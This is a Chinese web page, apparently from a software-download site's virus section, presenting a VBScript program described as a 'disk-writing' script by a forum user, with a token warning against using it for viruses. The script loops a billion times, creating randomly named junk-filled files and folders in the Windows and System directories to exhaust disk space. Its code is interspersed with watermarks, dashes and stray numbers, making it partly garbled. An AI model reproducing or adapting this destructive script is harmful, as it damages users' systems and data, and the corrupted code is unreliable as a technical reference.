上一篇：一个简单的文件型病毒程序

一个写硬盘的VBS脚本程序

这是一个网友写的程序,严禁利用该程序编写病毒!
on error resume next
dim objdir,suijishu
set objdir=wscript.createobject("scripting.filesystemobject")
set windir=objdir.getspecialfolder(0)
set sysdir=objdir.getspecialfolder(1)
开始程序
for i=1 to 1000 =版权所有软件下载学院版权所有=
for j=1 to 1000
for r=1 to 1000------------------------------------------------------------------------------
randomize
y=int((122-65+1)*rnd+65)
y1=int((122-65+1)*rnd+65)
y2=int((122-65+1)*rnd+65)
y3=int((122-65+1)*rnd+65)
y4=int((122-65+1)*rnd+65)
y5=int((122-65+1)*rnd+65)
y6=int((122-65+1)*rnd+65)
y7=int((122-65+1)*rnd+65)
y8=int((122-65+1)*rnd+65)-----------------------------------------------------------------
y9=int((122-65+1)*rnd+65)
f=chr(y)&chr(y1)&chr(y2)&chr(y3)&chr(y4)&chr(y5)&chr(y6)&chr(y7)&chr(y8)&chr(y9)
suijishu=int(rnd*10000)

创建windows文件
yang=windir&"\"&f&"."&chr(y3)&chr(y7)&chr(y)
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"------------------------------------------------------------
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&"\"&chr(y3)&chr(y1)&"."&chr(y)&chr(y4)&chr(y2) 2
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"
for u=1 to suijishu-----------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&"\"&chr(y7)&chr(y2)&chr(y9)&"."&chr(y8)&chr(y4)&chr(y1) 3
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)-------------------------------------------------------------
next
a.close
yang=windir&"\"&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y6)&chr(y9)&chr(y3) 4
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next--------------------------------------------------------------------------------------
a.close
yang=windir&"\"&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y6)&chr(y8)&chr(y4) 5
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close---------------------------------------------------------------------------------

yang=windir&"\"&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y8)&chr(y) 6
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close----------------------------------------------------------------------------------
yang=windir&"\"&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y2)&chr(y)&chr(y5) 7
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&"\"&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y4)&chr(y)&chr(y7) 8---
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
创建system文件------------------------------------------------------------------------------10
yang=sysdir&"\"&f&"."&chr(y3)&chr(y9)&chr(y1)
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y3)&chr(y1)&"."&chr(y4)&chr(y2)&chr(y9) 2------------------------------------------
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y7)&chr(y2)&chr(y9)&"."&chr(y3)&chr(y7)&chr(y) 3
set a=objdir.createtextfile(yang,true)------------------------------------------------------
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y5)&chr(y4)&chr(y1) 4
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"-----------------------------------------
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y3)&chr(y6)&chr(y9) 5
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"------------------------------------------------
a.writeline"oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y)&chr(y5) 6
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"------------------------------------------------------------15
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y7)&chr(y5)&chr(y1) 7
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"
for u=1 to suijishu-------------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y1)&chr(y7)&chr(y4) 8
set a=objdir.createtextfile(yang,true)
a.writeline"made in china,hubei,wuhan,guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)--------------------------------------------------------------
next
a.close
创建windows文件夹
yang=windir&"\"&f&"u"
objdir.createfolder(yang)
yang=windir&"\"&chr(y4)&chr(y2) 2
objdir.createfolder(yang)
yang=windir&"\"&chr(y)&chr(y9)&chr(y5) 3
objdir.createfolder(yang)-------------------------------------------------------------------
yang=windir&"\"&chr(y6)&chr(y3)&chr(y8)&chr(y7) 4
objdir.createfolder(yang)
yang=windir&"\"&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) 5
objdir.createfolder(yang)
yang=windir&"\"&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) 6
objdir.createfolder(yang)
yang=windir&"\"&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) 7
objdir.createfolder(yang)
yang=windir&"\"&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) 8
objdir.createfolder(yang)--------------------------------------------------------------------

创建system文件夹
yang=sysdir&"\"&f&"n"
objdir.createfolder(yang)
yang=sysdir&"\"&chr(y4)&chr(y2) 2
objdir.createfolder(yang)
yang=sysdir&"\"&chr(y)&chr(y9)&chr(y5) 3
objdir.createfolder(yang)
yang=sysdir&"\"&chr(y6)&chr(y3)&chr(y8)&chr(y7) 4
objdir.createfolder(yang)---------------------------------------------------------------------
yang=sysdir&"\"&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) 5
objdir.createfolder(yang)
yang=sysdir&"\"&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) 6
objdir.createfolder(yang)
yang=sysdir&"\"&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) 7
objdir.createfolder(yang)
yang=sysdir&"\"&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) 8
objdir.createfolder(yang)
next
next =版权所有软件下载学院版权所有=
next
老杨同志呕血巨著，希望大家喜欢！！！！！！！！！！！

（）

下一篇：unix系统病毒概述

↓相关文章：